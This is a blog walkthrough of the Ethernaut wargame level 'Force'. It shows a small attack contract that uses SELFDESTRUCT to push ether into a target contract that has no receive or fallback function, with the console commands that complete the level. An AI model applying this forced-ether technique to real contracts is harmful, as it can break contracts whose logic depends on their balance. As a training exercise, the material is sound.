Ethernaut - Lvl 7: Force
pacelliv
Posted on June 6, 2023
The Challenge π€Έπ€ΈββοΈ
Increase the balance of the following contract from zero:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ΓΈ= /
(______)__m_m)
*/}
Increasing the balance π
Force.sol
have neither a fallback
nor receive
function to accept ether, so if we send a raw transaction it wil revert:
// this will revert
await sendTransacion({from: player, to: contract.address, value: toWei("1")})
To force the contract to receive ether we need to implement the SELFDESTRUCT
opcode.
SELFDESTRUCT
performs two task:
- Irreversibly deletes the bytecode of a contract from the blockchain.
- Sends the balance of a contract to an address, if the recipient is a contract with no
fallback
,SELFDESTRUCT
forces the contract to accept the ether.
Go to Remix and create a new file with this contract:
contract ForceBalance {
address payable public to;
constructor(address _to) {
to = payable(_to);
}
receive() external payable {
selfdestruct(to);
}
}
Request a new instance of Force
, grab the address and deploy ForceBalance
with the instance level address.
In your console send ether to ForceBalance
:
// send a small amount of ether
await sendTransaction({to: FORCE_BALANCE_ADDRESS, from: player, value: "10000"})
Wait for the transaction to be mined and check the balance of Force
:
await getBalance(contract.address).then(bal => bal.toString()) // should greater than zero
Submit the instance to complete the level.
Conclusion βοΈ
SELFDESTRUCT
deletes the bytecode of a contract and forces a recipient to accept ether, even if it is a contract with no mechanism to receive ether.
The SELFDESTRUCT
opcode is currently deprecated and its use in not recommended.
Further reading π€
Posted on June 6, 2023
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.